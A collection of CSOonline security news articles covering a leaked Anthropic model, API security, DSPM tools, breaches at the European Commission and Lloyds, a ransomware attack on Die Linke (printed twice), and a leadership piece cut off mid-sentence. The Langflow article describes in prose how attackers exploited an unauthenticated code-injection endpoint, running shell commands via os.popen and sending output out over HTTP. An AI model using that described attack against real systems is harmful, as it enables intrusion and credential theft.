CSOonline

Anthropic didn’t intend to introduce Mythos this way. Details of what it calls its most capable AI model yet surfaced through a data leak in its content management system (CMS), revealing a LLM with sharply improved reasoning and coding skills. The data leak, which was the result of the company’s staffers inadvertently exposing material about the LLM, including a draft blog post about it, via a publicly accessible data repository, was first identified by independent security researchers last week. Following disclosure of the issue, Anthropic restricted public access to the data store, only to later attribute the exposure to a configuration error in its CMS and confirm the existence of the model to Fortune, which was the first to report the leak. Apple-focused leaker M1Astra also flagged the exposure, archiving a copy of a draft Anthropic blog post about Mythos on X before access was restricted. In that draft, Anthropic itself struck a cautious tone, signaling concern about the model’s potential implications on cybersecurity. “In preparing to release Claude Mythos, we want to act with extra caution and understand the risks it poses — even beyond what we learn in our own testing,” the company wrote, adding that it is particularly focused on assessing near-term cybersecurity risks. The blog further stated that Anthropic wants to seed Mythos across enterprise security teams first and has already been testing the model’s cybersecurity prowess with a “small number of early access customers.” The rationale seems straightforward: if today’s models can already identify and even help exploit software vulnerabilities, a more capable system like Mythos could significantly accelerate both discovery and misuse — raising the stakes for defenders and attackers alike. Pareekh Jain, principal analyst at Pareekh Consulting, says Mythos could cut both ways for CISOs and enterprise security teams, compressing the gap between cyber offense and defense. While at one end, models like Mythos could transform security by automating vulnerability discovery, continuous red-teaming, faster triage, and large-scale threat hunting areas, on the other hand, it could make cyberattacks easier by letting AI agents act autonomously with high skill, Jain said. That risk for CISOs is not theoretical, Jain added, as earlier-generation models were quickly repurposed into tools for developing malware. The risk is even higher with Mythos because of its capabilities like “recursive self-fixing,” Vladimir Belomestnov, senior technical specialist at HCLTech, wrote in a post on LinkedIn. “The leaked files highlight a capability for the AI to autonomously identify and patch vulnerabilities in its own code. Even if this is currently limited to assisted exploitation, it suggests a narrowing gap between human and machine software engineering,” Belomestnov wrote. However, Anthropic appears to be some distance from a full release of the model. “Mythos is also a large, compute-intensive model. It’s very expensive for us to serve, and will be very expensive for our customers to use. We’re working to make the model much more efficient before any general release,” the copy of the draft blog post reads. What is clear, however, is that the company is already planning a phased rollout targeting cybersecurity use cases. “We’ll be slowly expanding access to Claude Mythos to more customers using the Claude API over the coming weeks. Since we’re particularly interested in cybersecurity uses, that’s where we aim to expand the EAP initially,” the company wrote in the draft blog post. There is another copy of the blog post, which also names the model as Capybara. Anthropic hasn’t made it clear what the final name of the model will be. The indecision over the model’s name, though, didn’t stop it from rattling markets last week. Shares of cybersecurity vendors, including CrowdStrike, Palo Alto Networks, Zscaler, and Fortinet, fell as investors assessed what more capable models within Claude Code Security could mean for the competitive landscape. However, Avasant’s research director, Gaurav Dewan, was more optimistic about Mythos’ impact on vendors: “Powerful models will not replace cybersecurity platforms”. Rather, Dewan sees vendors increasingly embedding frontier models from Anthropic and OpenAI and others into their stacks for vulnerability discovery, code and cloud posture management, and threat investigation and response automation. “One can expect partnerships and controlled integrations, not disintermediation. Vendors that already own telemetry, workflows, and enforcement will benefit most,” Dewan added. View the full article

Recent breaches suggest attackers are shifting beyond traditional endpoints to target application programming interfaces (APIs). But typical perimeter protections can completely miss this vector. “We used to talk about defense-in-depth and endpoint protection,” says Sean Murphy, CISO at BECU, a nationwide credit union. “That morphed into identity, and now the API is the new perimeter.” BECU’s backend architecture is heavily based on microservices and APIs, making this an important — and widening — surface to secure. “They’re your front door, and if you don’t know what the inventory of your APIs is, the attackers surely will find them.” With API-first development on the rise, API portfolios have quietly ballooned throughout large enterprises. Conservative estimates place the average number of APIs within a large company at 250 to 500, but it’s not uncommon for enterprises to run thousands. These useful interfaces often connect backend systems, partners, and customer data. Yet their access is frequently ungoverned, insecure, or misconfigured. A 2025 report from Salt Security found that nearly one in three organizations experienced an API breach in the past 12 months. They also found 95% of attacks originate from authenticated sources, often using stolen API keys or credentials. Traditional security approaches, such as endpoint detection and response (EDR) and web application firewalls (WAFs), often miss these attacks because they lack the context needed to detect business-logic abuse. To these systems, API abuse often looks like normal, valid traffic. “EDR and WAFs were built for yesterday’s problems: malware on endpoints and basic web exploits,” says Elliott Franklin, CISO at Fortitude Re, a reinsurance company. “Without a deep understanding of business logic and identity context, traditional tools miss credential stuffing, token theft, or data scraping.” CISOs say addressing the problem at scale requires new tooling, practices, and governance frameworks. It’ll also take an identity-aware shift to hedge for tomorrow’s problems, which revolve around the use of APIs in agentic AI. APIs are the new attack surface APIs drive the majority of internet traffic, and cybercriminals are taking advantage. In the 2024 Optus breach, attackers exposed 9 million customer records due to broken API access control. Over the past two years, API exploits have also hit WhatsApp, Trello, 23andMe, Avelo Airlines, and Volkswagen. These threats have many CISOs viewing APIs as a primary attack surface. “APIs have become the most critical and rapidly expanding attack surface for the modern enterprise,” says Senthil Subramaniam, global CISO and assistant VP at Infinite Computer Solutions, an IT services company. “Many API security incidents arise from flaws like injection attacks and broken authorizations.” A key contributor to the rise in exploits is the ubiquity of APIs, which now act as connective tissue across enterprises, linking SaaS platforms, cloud workloads, and internal applications. “That ubiquity makes them a natural focus for attackers,” says Fortitude Re’s Franklin. The openness of APIs and their proximity to sensitive data and critical systems also make them attractive to attackers. “APIs have absolutely become one of the primary attack surfaces today,” says James Faxon, a principal advisor at Risk & Insight Group and previously CISO of NukuDo, a cybersecurity talent development company. “In many environments, APIs now represent a much more direct path to business systems than endpoints ever did.” “An attacker doesn’t need to compromise a laptop or deploy malware to gain leverage,” adds Faxon. By simply obtaining a token, he explains, an attacker could exploit a misconfiguration or flawed authorization logic to move laterally and extract data without triggering traditional endpoint controls. To make matters worse, many organizations lack proper API inventories, making it easy for APIs to fall outside normal oversight. A 2023 study from Enterprise Management Associates found that roughly 70% of enterprises have just 30% of their APIs documented. That figure does not include shadow APIs outside normal security governance. “Most teams don’t have clear visibility into how their APIs are working behind the scenes,” says Chaim Mazal, chief AI and security officer at cloud security company Gigamon. Without a clear understanding of how APIs communicate and the data they expose, developers can inadvertently create exploitable attack paths. Others see growing urgency amid AI-driven shifts. “APIs may not yet be the primary attack surface, but it’s becoming more urgent in recent years,” says Andreas Gaetje, CISO at Körber, a provider of intelligent manufacturing and supply chain solutions, who notes hyperautomation and agentic AI make API security more pressing. Still, the number of reported API security incidents doesn’t outweigh credential theft, phishing, and endpoint compromise, notes Mark Dorsi, CISO at Netlify, a cloud computing company. But the threat level is changing as autonomous systems gain higher-value capabilities. “As agentic systems increasingly interact with services through APIs, including Model Context Protocol, agent-to-agent workflows, and automated integrations, APIs will see a material uplift in both usage and exposure,” says Dorsi. Legacy defenses can’t keep up Traditional perimeter-based defenses are often insufficient against API-layer attacks. Traditional security defenses, such as EDR, XDR, and WAF, “primarily focus on clients, hardware, and software endpoints, looking at IP-based attack vectors,” explains BECU’s Murphy. “APIs bring us into the world of business logic and runtime types of issues.” Others agree that legacy defenses leave a gap for API-first architectures. For example, EDR misses east-west traffic, content within API flows, and gateway-level attacks, while WAFs mainly detect malicious payload patterns and miss important context around authorization, identity, and caller intent, says Infinite Computer Solutions’ Subramaniam. “API attacks often exploit business logic, not payload patterns,” he adds. “They exploit broken authentication or authorization, abuse of legitimate endpoints, excessive data exposure, and mass enumeration.” These requests often appear valid individually, but together form a malicious sequence. “API attacks are typically logical, valid requests made with stolen or over-permissioned credentials that abuse business logic rather than breaking HTTP rules,” Risk & Insight Group’s Faxon says. For example, an attacker might abuse a long-lived, over-permissioned token for a financial API. “API abuse can often blend into normal traffic until the damage is already done,” he adds. Netlify’s Dorsi agrees. “Traditional controls lack the context to understand intent, misuse, or abuse across API calls,” he says. How CISOs are responding CISOs are deploying a range of strategies to mitigate API threats. This goes beyond buying new-fangled cloud-native tools — it requires an API governance strategy involving organization-wide policies, API inventories, automated checks, and strong identity and access control. For example, BECU has implemented an API governance structure, adopting a single policy for all developers. “We started building in governance before the technology was leveraged,” explains Murphy. This is critical to reduce the possibility for misconfigurations, he says, which remains a leading risk in the OWASP Top 10 API Security Risks. In large enterprises, shared security guidance helps maintain least-privilege access and avoid exposing internal secrets. While all engineers and API builders are subject to BECU’s internal policy, it’s continually evolving, Murphy adds. “Strong API governance is key,” agrees Franklin. “At Fortitude Re, we’re building API security into our broader identity and access management strategy.” A key area of focus is tracing non-human identities, which helps inventory and classify APIs in use. “The biggest gap I see is shadow APIs,” he adds. To reduce that risk, visibility is critical. Körber’s Gaetje recommends taking proactive steps to enhance visibility by cataloging your surface area. “The most important activity is to gain visibility into exposed APIs,” he says. “What you cannot see, you cannot control.” For Faxon, security begins with a full inventory of what APIs exist, who owns them, and what data they expose. “The most effective organizations treat APIs as first-class security assets,” he says. In practice, implementing holistic API governance involves multiple tools and developer touchpoints. Infinite Computer Solutions uses specialized API gateways for processing traffic and adopts advanced security features to run risk assessments, Subramaniam says. “Our security tools are also embedded into the CI/CD pipeline,” he adds, noting that API specifications must pass automated security validation checks, which helps ensure compliance with security standards. Dorsi says Netlify takes a disciplined approach to understanding how APIs are used, emphasizing strong authorization maturity through practices like limiting scopes, rotating credentials, and continually reassessing trust. “We treat APIs as critical infrastructure, not just plumbing,” he says. “Strong identity and authorization design is foundational. That means explicit ownership models, least privilege scopes, and consistent auth patterns across APIs.” All in all, CISOs indicate that API security requires deep forethought. “We treat APIs as part of our operational surface, not just our software stack,” says Faxon. “Every API we build is documented, threat-modeled, and owned, with least-privilege access as the default and permissions continuously re-evaluated as systems evolve.” AI exacerbates preexisting risks Another driver of today’s API vulnerabilities is the rise of AI. While large language models (LLMs) and coding assistants empower software engineers, they also empower adversaries, complicating the API security landscape and requiring new approaches beyond traditional endpoint defenses. “AI is fundamentally reshaping the threat landscape,” says Gigamon’s Mazal. “AI has enabled the democratization of offensive tooling, meaning that anyone, regardless of skill level, can now exploit API weaknesses without writing a single line of code.” With a growing API attack surface and lower barriers, organizations should assume a breach posture, he adds. For instance, AI can amplify an attacker’s ability to discover and exploit API vulnerabilities like misconfigurations or over-permissioning, says Murphy. This reality has influenced BECU to take a deliberate approach to API visibility, deploying monitoring tools to discover and track its entire API catalog. Another element of BECU’s policy requires developers to use a sanctioned API gateway with enforced security controls. “We make it as difficult as possible for an adversary to exploit us in any shape or form,” says Murphy, adding they apply identity and access control, monitoring, and alerting, regardless of API type. “Internal doesn’t mean an external adversary can’t access it,” adds Murphy. As such, BECU is vigilant with all APIs, regardless of whether they’re internal APIs used for backend system-to-system communication or external-facing APIs that power customer interactions on mobile banking apps. Beyond amplifying external threats, AI is increasingly embedded within enterprise software stacks, introducing a new vector to cover. A 2025 study from Software Finder found that 56% of IT leaders expect their software stack to be AI-powered by 2030. As agentic AI begins to consume APIs, the risks around unauthorized access and unintended sensitive data exposure rise as well. As Subramaniam explains, “AI agentic systems, which autonomously access APIs to perform tasks, complicate API security by expanding the attack surface, enabling dynamic and unpredictable interactions, and amplifying existing vulnerabilities through high-speed, automated actions.” Preventing unauthorized access by agents will require more granular control and more time-bound role-based access control (RBAC). Securing third-party tool usage Other API risks stem from the broader software supply chain. In 2025, JPMorganChase CISO Patrick Opet published an open letter about diminishing standards for SaaS providers, writing that the SaaS delivery model is “quietly enabling cyber attackers” and creating a “substantial vulnerability that is weakening the global economic system.” Third-party API consumption can open an organization to sensitive data exposure. According to Gartner, 71% of organizations use APIs provided by third parties such as SaaS vendors, making third-party APIs another major risk vector. “For third-party APIs, we already require vendor security reviews and contractual security assurances,” says Fortitude Re’s Franklin, noting that this is part of a broader SaaS security program that provides visibility into the SaaS systems employees use. The onus, however, is also on the consuming organization to implement better token-handling processes to secure API connections to SaaS platforms. This is especially important, as developers are often reckless with API keys and secrets. In 2024, Escape discovered 18,000 API secrets and tokens floating around on the open web. Some CISOs are actively addressing this. “Our team centralizes and encrypts all third-party credentials — API keys, tokens — within the API management layer,” says Subramaniam. “We never distribute raw credentials to our internal development teams.” Maintaining safe integrations requires ongoing discipline, too. “We apply the same rigor to third-party APIs: Credentials are tightly scoped, regularly rotated, and monitored for behavioral drift,” adds Faxon. “If an integration begins acting outside its expected pattern, it’s treated as a security event, not a technical anomaly.” For Murphy, avoiding third-party API gaps requires careful vendor evaluation and tooling decisions. “You trust but verify.” The same intentions must be applied to assessing API management tools, too — maintaining too many niche products increases complexity and brings scalability challenges, and requires stitching them together to obtain a cohesive API security view. “The more complexity, and the more differentiated monitoring, the higher risk you’re going to mess up,” says Murphy. “But, diversity in the platform is good, too, since compartmentalizing can help with a tiered aspect to security oversight.” One top item in BECU’s roadmap for 2026 is automating between their exposure management platform, vulnerability management platform, and security operations center, he adds. API standards must evolve As APIs become a core aspect of modern business operations, their security risks are becoming more pronounced. “Every API misconfiguration is not just a security gap,” says Faxon. “It’s a business decision being executed at machine speed, without human oversight.” Responding to this new era of threats requires moving beyond traditional perimeter defenses. Organizations will need new approaches to secure non-human identities — machines, bots, and agents that increasingly interact with systems and data at a business application level. “The real shift isn’t just from endpoints to APIs,” says Franklin. “It’s from human-driven access to non-human identities like APIs, service accounts, and machine-to-machine connections.” Although these identities now outnumber humans in most enterprises, he adds, they lack rigorous governance, requiring rethinking to secure this new attack surface. The challenge is further complicated by the diversity of API environments. APIs may be distributed across multiple clouds, platforms, and locations, each with different security controls. As Mazal explains, “The challenge is that as development accelerates and the pace of innovation increases, not all APIs follow the same set of controls.” Edge-based IoT APIs, for instance, may not allow the same types of traffic enforcement found in centralized environments. “The resulting gaps in interconnectivity make it difficult to manage APIs holistically and consistently across the ecosystem.” For him, real-time threat monitoring and visibility of network telemetry are still essential to correct visibility gaps. Ultimately, CISOs shouldn’t abandon traditional security tools. But they do need to extend security deeper into the development and design process, embedding checks early, strengthening identity-based authorization, and improving real-time visibility into business-layer interactions. By combining governance, identity controls, and visibility, CISOs can adequately prepare for the security realities of an API-driven world. View the full article

Data Security Posture Management erfordert nicht nur die richtigen Tools, sondern auch eine entsprechende Vorbereitung. Foto: Rawpixel.com | shutterstock.com Cloud Computing ist von Natur aus dynamisch und flüchtig: Daten können schnell und einfach erstellt, gelöscht oder verschoben werden. Das sorgt dafür, dass auch die Cloud-Angriffsfläche sehr dynamisch ist – was Schutzmaßnahmen erschwert. Ein lästiges Problem stellt dabei insbesondere dar, sensible Daten innerhalb von Cloud-Umgebungen aufzuspüren. An dieser Stelle kommt Data Security Posture Management – kurz DSPM – ins Spiel. Was ist Data Security Posture Management? Im Bereich DSPM wurden in den vergangenen Jahren diverse Tools entwickelt, die dabei unterstützen, sowohl bekannte als auch unbekannte Daten zu erkennen, zu strukturieren und mit Blick auf Security und Datenschutzrisiken zu managen. Data Security Posture Management Tools können Sicherheitsentscheidern und ihren Teams dabei einen umfassenden Blick auf den Datenbestand des Unternehmens ermöglichen. Das könnte Ihnen eventuell bekannt vorkommen – dennoch handelt es sich bei DSPM nicht um einen Abkömmling von Data Loss Prevention (DLP). Der wesentliche Unterschied besteht darin, dass DSPM-Tools nicht darauf “warten”, dass Daten gestohlen oder exfiltriert werden. DSPM-Produkte sind darauf ausgerichtet, Daten zu finden – unabhängig davon, wo sie sich befinden und ob diese Speicherorte gut dokumentiert oder unstrukturiert sind. Dabei zielen Data Security Posture Management Tools insbesondere darauf ab, sogenannte “Schattendaten” aufzuspüren. Dabei handelt es sich zum Beispiel um Datenelemente, die von Entwicklern oder Backup-Prozessen erstellt wurden oder veraltete Repositories, die in längst vergessenen, nicht mehr aktualisierten Cloud-Containern schlummern. DSPM-Tools übernehmen dabei eine “Locator”-Funktion. Gefundene Probleme zu beheben, fällt eigentlich in den Bereich traditionellerer Toolsets – beispielsweise SOAR, SIEM oder CNAPP. Inzwischen werden solche “Fix it”-Tools jedoch zunehmend von den Anbietern im Bereich Data Security Posture Management integriert. Daten aufzuspüren, ist allerdings nur der erste Schritt des DSPM-Prozesses: Sobald diese gefunden sind, müssen sie katalogisiert, ausgewertet und in verschiedenen Dashboards zusammengefasst werden. Das kann schwierig sein, wenn keine strikten Sicherheitskontrollen vorhanden sind. Deshalb werben die meisten DSPM-Anbieter auch damit, dass Kundendaten immer in der Umgebung des Kunden bleiben – was in der Regel bedeutet, dass nicht die eigentlichen Daten, sondern Metadaten gesammelt werden. Das heißt bei den Anbietern “agentenloser” oder API-Zugriff und hat den Vorteil, dass große Datenmengen schnell gescannt werden können, um die Art ihrer Nutzung und potenzielle Risikofaktoren zu verstehen. Sobald die Daten entdeckt und die Metadaten gesammelt sind, besteht der nächste Schritt darin, regelmäßige Scans durchzuführen, um festzustellen, welche Änderungen vorgenommen werden. Die Betonung liegt dabei auf “regelmäßig”. Ergänzend hinzu kommt schließlich auch noch das Thema Data Governance: DSPM-Tools klassifizieren nach Risiken und können im Zusammenspiel mit anderen Security-Tools Richtlinien durchsetzen und Probleme beheben. Grundsätzlich bestehen DSPM-Tools aus mehreren Komponenten, darunter: Agenten und “agentless Collectors” (nützlich, um On-Premises-Daten zu tracken), ein zentralisiertes Management-Dashboard, Scanner, die Datensammlungen erkennen und priorisieren, Data-Lineage- und Usage-Karten sowie Compliance Assessments. Das übergeordnete Ziel von DSPM-Produkten besteht darin, umfassendere Cloud Security Posture Management (CSPM)-Tools zu ergänzen. Dabei fokussieren die DSPM-Werkzeuge jedoch nicht auf Cloud-Infrastrukturen selbst, sondern ausschließlich auf Daten sowie darauf, wie diese durch die verschiedenen Services genutzt werden. In vielen Fällen haben DSPM-Anbieter deswegen auch CSPM-Offerings im Portfolio. DSPM-Produkte evaluieren Tools im Bereich Data Security Posture Management zu evaluieren, erfordert erheblichen Personalaufwand, da viele verschiedene Aspekte der IT-Infrastruktur eines Unternehmens davon betroffen sind. Das ist allerdings auch gut so, schließlich wollen Sie ja auch alle relevanten Daten identifizieren. Hilfreich ist zu diesem Zweck insbesondere ein Plan, der die wichtigsten Daten nach Priorität ordnet. Ein weiterer Tipp: Dokumentieren Sie, wie die einzelnen DSPM-Tools ihre Data Map erstellen und wie diese – und die darauf basierenden Dashboards – zu interpretieren sind. Schließlich ist es bei der Entscheidung über ein DSPM-Tool essenziell zu wissen, welche spezifischen Cloud Services abgedeckt sind und welche (noch) nicht. Was die Preisgestaltung von DSPM-Tools angeht, ist diese im Regelfall flexibel gestaltet und hängt von diversen Faktoren ab. Das Gros der Anbieter setzt auf entsprechende Abo-Modelle. Sicher ist, dass das teuer wird: Sie dürfen pro Jahr mit einer sechsstelligen Summe rechnen. Eine weitere Vorwarnung: Es wird Sie einiges an Zeit und Mühe kosten, den Umfang, das Integrationsniveau und die enthaltenen Schutzfunktionen der einzelnen DSPM-Angebote bis ins letzte Detail zu durchdringen. Die besten DSPM-Tools Im Folgenden haben wir die aktuell wichtigsten DSPM-Anbieter und ihre Offerings für Sie zusammengestellt. Concentric Semantic Intelligence Cyera Data Security Platform IBM Guardium Onetrust Data Use Governance Palo Alto Networks Prisma Cloud DSPM Proofpoint DSPM Securiti Data Command Center DSPM Sentra Cloud-Native Data Security Platform Symmetry Modern Data Security Platform Tenable DSPM Varonis Data Security Platform Wiz DSPM (fm) View the full article

The European Commission is continuing to investigate the theft of data from its cloud infrastructure earlier this week. On Thursday, the Commission revealed there had been an attack on its Europa.eu platform, offering few details, then, on Friday, security news site Bleeping Computer reported that the attack had involved the compromise of an account or accounts on Amazon Web Services (AWS). The news site said an unnamed threat actor who claimed responsibility told it that they had stolen over 350GB of Commission data, and had shown the reporter several screenshots as evidence. The hacker also said they will leak the data, rather than try to extort the Commission. CSO asked a spokesperson for the Commission for comment, but no reply was received by our deadline. For its part, Amazon said, “AWS did not experience a security event, and our services operated as designed.” The Commission said the Europa websites remain available, and that its “swift response ensured the incident was contained and risk mitigation measures were implemented to protect services and data.” Its internal systems weren’t affected by the attack, the statement added. The incident comes after the Commission revealed on January 30 that its central infrastructure for managing mobile devices had “identified traces of a cyber attack” which may have exposed names and mobile number of some staff. IAM is hard The lack of information about the attack makes it hard for security industry experts to comment. For one thing, it’s unknown how the breach of security controls happened: Did the threat actor take advantage of an unpatched software or hardware vulnerability, find a zero day, or did an employee fall for a phishing attack? “There is very little info out,” said Kellman Meghu, chief technology officer of Canadian incident response firm DeepCove Cybersecurity, “but this does sound bad. This is why I force all my users to use AWS Identity Center sign on. No IAM-generated keys, and admin accounts are only activated through a ‘break glass’ strategy, where two people are needed to authenticate.” By “break glass” strategy, Meghu said he meant that the AWS root/admin account that controls all of an organization’s cloud infrastructure is stored outside of AWS on a system that requires authorization from both the CEO and CTO, via credentials and hardware tokens. This access generates an alert, so if there was an unauthorized attempt to sign in, the CEO and CTO would know. “I personally live in constant fear of this sort of thing happening” he said. “I create multiple separate AWS accounts using the AWS Organizations feature so accounts are completely isolated from each other. For example, there can be a ‘dev ORG’ for testing with no real data, and a ‘uat ORG’ for user testing with some data, and a ‘prod ORG’ where no one is allowed. You can also break things down so different application types get their own Organizations, which limits lateral movement. Azure has similar setup and options, which are called Tenants. “The reality is, identity access management (IAM) is hard, and not just in AWS,” he added. “[It’s] the same challenge with all infrastructure. [Microsoft] Entra ID scares me just as much. How do we guarantee the authorized person has legitimate access? It only takes one mistake.” A ‘grim warning’ Ilia Kolochenko, CEO of Swiss-based ImmuniWeb, said that while the attack “may appear to be pretty banal on its face, there are several things to pay attention to.” Referring to the Bleeping Computer report, he said that, given that the attackers allegedly plan to release the data, their key intention here is to visibly hurt and to cause reputational damage. “The attackers behind are either hacktivists or cyber mercenaries hired by a nation state,” he concluded. “In view of the geopolitical turbulence around the globe, such attacks will probably surge in 2026. The problem is that in such cases, attackers rarely consider their costs and may persistently invest time and efforts in sophisticated hacking campaigns against the most protected organizations. Organizations should urgently prepare themselves for an avalanche of politically motivated attacks with highly destructive consequences this year.” Combined with the previous history of similar incidents impacting the European Commission and other EU bodies, this incident “is a grim warning that the European regulation of cybersecurity, that some experts perceive as excessive and unnecessarily complicated, is not a panacea against data breaches,” he added. “Whilst cloud data breaches are quite widespread, and have already affected thousands of large organizations in 2026, this incident may be leveraged by the opponents of further overregulation of the European data protection landscape.” Kolochenko also said that European companies may utilize this incident to promote digital sovereignty and “EU-made” cloud. “While data storage in Europe, under management of European cloud providers, will quite unlikely make any material change of cloud security landscape, some organizations may be tempted leave American vendors in favor of their European competitors,” he said. View the full article

Lloyds Banking Group has identified the glitch that led to some of its customers being able to see details of other customers’ transactions on March 12. It revealed the information in a letter to the UK Parliament’s Treasury Committee, setting out the details of the incident and how it has been handled. The issue arose after an overnight IT change meant that two customers who accessed their accounts simultaneously could have sight of each other’s accounts, it said. The bank said that fault was because of defect in “the design of the code used to update the Application Programme Interface (API) used by the app.” It didn’t go into any more detail about the precise nature of the defect. The company stressed that at no point did any customer have full access to another account, and said it had not identified any loss suffered by any customer. It said it had notified all the relevant financial authorities, as well as the UK Information Commissioner’s Office, which regulates data privacy, and was fully co-operating with any further enquiries. The bank said that of the 21.6 million users of its mobile app, 447,936 may have been presented with another user’s transactions, or had their transactions presented to another user, and of those 114,182 customers may have clicked to view details of a transaction during the incident and thus may have been presented with details of someone else’s transactions. View the full article

Attackers have exploited a critical Langflow RCE within hours of disclosure, prompting the US Cybersecurity and Infrastructure Security Agency (CISA) to formally flag it for urgent remediation. The flaw, which allows running arbitrary code on vulnerable Langflow instances without >credentials, was weaponized within 20 hours of the open-source AI-pipeline tool disclosing it. According to a Sysdig report, crooks started hitting a fleet of honeypot nodes with vulnerable instances across multiple cloud providers and regions right after they went live. Sysdig observed four such attempts within hours of deployment, with one attacker progressing to environment variable exfiltration. “This is notable because no public POC repository existed on GitHub at the time of the first attack,” Sysdig researchers said. “The advisory itself contained enough detail (the vulnerable endpoint path and the mechanism for code injection via flow node definitions) for attackers to construct a working exploit without additional research.” CISA has added the flaw to its Known Exploited Vulnerabilities (KEV) catalog, urging federal agencies to patch their systems by April 8, 2026. A default setting allows code injection The vulnerability, tracked as CVE-2026-33017, stems from an exposed API endpoint in Langflow, the open-source visual framework for building AI agents and Retrieval-Augmented Generation (RAG) pipelines. The exposure allows attackers to submit malicious workflow data containing embedded Python code. Instead of using trusted data, the application executes this attacker-supplied code without any sandboxing, leading to unauthenticated remote code execution on affected systems, according to an NVD description. “The build_public_tmp endpoint is designed to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code,” the description added. “This is distinct from CVE-2025-3248, which fixed /api/v1/validate/code by adding authentication.” The Code Injection flaw affects Langflow versions up to (excluding) 1.8.2, and has been fixed in v1.9.0. It received a critical CVSS rating of 9.3 out of 10, owing to its “unauthenticated” and simple exploitability, massive AI attack surface, and high impact. Pace of exploit raises concerns Exploitation activity was observed less than a day after the vulnerability became public, which, Sysdig noted, demonstrates threat actors quickly operationalizing new vulnerabilities (probably through automation). Attackers could build a working exploit just from the advisory description and quickly start scanning for flawed instances. “Exfiltrated information included keys and credentials, which provided access to connected databases and potential software supply chain compromise,” Sysdig researchers said. With patch windows collapsing significantly, runtime detection remains a primary and the only option, Sysdig noted. “Every attacker in this campaign followed the same post-exploitation playbook: execute a shell command via Python’s os.popen(), then exfiltrate the output over HTTP,” it said, adding that runtime rules can detect these attempts. The way runtime detection can help is by working on “day zero,” the researchers explained. “These rules do not require a signature for CVE-2026-33017 specifically because they detect the exploitation behavior, not the vulnerability. The same rules would fire regardless of whether the initial access came through CVE-2026-33017, CVE-2025-3248, or any other RCE in an application.” Sysdig also shared a list of indicators of compromise (IOCs), including attacker source IPs, C2 and staging infrastructure detected, Dropper URLs, and interactsh callback domains. It recommends immediately upgrading to patched versions, restricting exposure, and monitoring for anomalous activity, emphasizing that exposed instances should be treated as potentially compromised. View the full article

Studio-M – shutterstock.com Die Linke ist nach eigenen Angaben Opfer einer schweren Cyberattacke geworden und vermutet dahinter russischsprachige Hacker. Man habe am Donnerstag sofort reagiert und Teile der IT-Infrastruktur vom Netz genommen, teilte Bundesgeschäftsführer Janis Ehling mit. «Nach derzeitigen Erkenntnissen zielen die Täter darauf ab, sensible Daten aus dem inneren Bereich der Parteiorganisation sowie personenbezogene Informationen von Mitarbeitenden der Parteizentrale zu veröffentlichen», erklärte Ehling. Ob dies gelungen sei, lasse sich noch nicht beurteilen. «Ein entsprechendes Risiko besteht jedoch.» Nicht betroffen sei dagegen die Mitgliederdatenbank. Hier hätten die Täter keine Daten erbeutet. Nach Ehlings Angaben gab es eine Warnung der Sicherheitsbehörden, als die Attacke bereits in der Parteizentrale auffiel. Man stehe nun in engem Austausch mit den Behörden und habe Strafanzeige erstattet. Hybride Kriegsführung? «Uns liegen Hinweise vor, dass es sich um einen Ransomware-Angriff der Hackergruppe “Qilin” handelt», erklärte der Bundesgeschäftsführer weiter. Das sei eine mutmaßlich russischsprachige Cybercrime-Organisation, deren Aktivitäten sowohl finanziell als auch politisch motiviert sein könnten. Derartige digitale Attacken seien häufig Teil hybrider Kriegsführung. Das Sammeln und Veröffentlichen privater oder personenbezogener Daten diene dazu, Betroffene einzuschüchtern, zu belästigen oder öffentlich zu diskreditieren und demokratische Strukturen zu schwächen, hieß es weiter. In der Vergangenheit waren bereits andere Cyberattacken auf Parteien bekannt geworden. Ein Angriff auf die IT der SPD 2023 wurde russischen Akteuren zugeschrieben. Hinter einer ähnlichen Attacke 2024 auf die CDU wurden damals chinesische Akteure vermutet. (dpa/ad) View the full article

Studio-M – shutterstock.com Die Linke ist nach eigenen Angaben Opfer einer schweren Cyberattacke geworden und vermutet dahinter russischsprachige Hacker. Man habe am Donnerstag sofort reagiert und Teile der IT-Infrastruktur vom Netz genommen, teilte Bundesgeschäftsführer Janis Ehling mit. «Nach derzeitigen Erkenntnissen zielen die Täter darauf ab, sensible Daten aus dem inneren Bereich der Parteiorganisation sowie personenbezogene Informationen von Mitarbeitenden der Parteizentrale zu veröffentlichen», erklärte Ehling. Ob dies gelungen sei, lasse sich noch nicht beurteilen. «Ein entsprechendes Risiko besteht jedoch.» Nicht betroffen sei dagegen die Mitgliederdatenbank. Hier hätten die Täter keine Daten erbeutet. Nach Ehlings Angaben gab es eine Warnung der Sicherheitsbehörden, als die Attacke bereits in der Parteizentrale auffiel. Man stehe nun in engem Austausch mit den Behörden und habe Strafanzeige erstattet. Hybride Kriegsführung? «Uns liegen Hinweise vor, dass es sich um einen Ransomware-Angriff der Hackergruppe “Qilin” handelt», erklärte der Bundesgeschäftsführer weiter. Das sei eine mutmaßlich russischsprachige Cybercrime-Organisation, deren Aktivitäten sowohl finanziell als auch politisch motiviert sein könnten. Derartige digitale Attacken seien häufig Teil hybrider Kriegsführung. Das Sammeln und Veröffentlichen privater oder personenbezogener Daten diene dazu, Betroffene einzuschüchtern, zu belästigen oder öffentlich zu diskreditieren und demokratische Strukturen zu schwächen, hieß es weiter. In der Vergangenheit waren bereits andere Cyberattacken auf Parteien bekannt geworden. Ein Angriff auf die IT der SPD 2023 wurde russischen Akteuren zugeschrieben. Hinter einer ähnlichen Attacke 2024 auf die CDU wurden damals chinesische Akteure vermutet. (dpa/ad) View the full article

Many leaders know empowered teams deliver better results, but not all leaders understand how to get there. It all starts with knowing what empowerment truly means. Put simply: Empowerment is the absence of micromanagement. Empowerment provides the foundation for people to develop autonomy; to take action, responsibility, and accountability; and to have the room necessary to grow to become better at execution. More to the point, however, empowerment requires leaders who are mature, capable, self-secure, and willing to elevate the organization to the next level. It involves delegating decision-making power, providing training and tools, and creating a supportive environment where staff can innovate, solve problems, and contribute meaningfully without constant oversight. Empowerment leads not only to higher engagement, higher productivity, and faster and better outcomes, but also higher job satisfaction, ensuring employees stay longer, adding even more value to the long-term success of a company. As a leader, you can’t empower your teams without the right preparation. You need to first instill confidence in your team to make decisions and contribute meaningfully. You’ll want to start with your direct reports, and empower them to break things down similarly in their respective teams and sub-teams. This won’t be achieved in a week or even in months, especially in old-fashioned companies that are run in pyramidal structures. Here’s a practical list of steps leaders should take to implement empowerment throughout their organizations effectively. Build a foundation of trust Start by demonstrating trust in your employees’ abilities by avoiding micromanaging and allowing them to handle tasks independently. This creates a safe environment where they feel valued and responsible. In weekly meetings, lead by example by asking questions — not to control, but to make employees part of the path to a 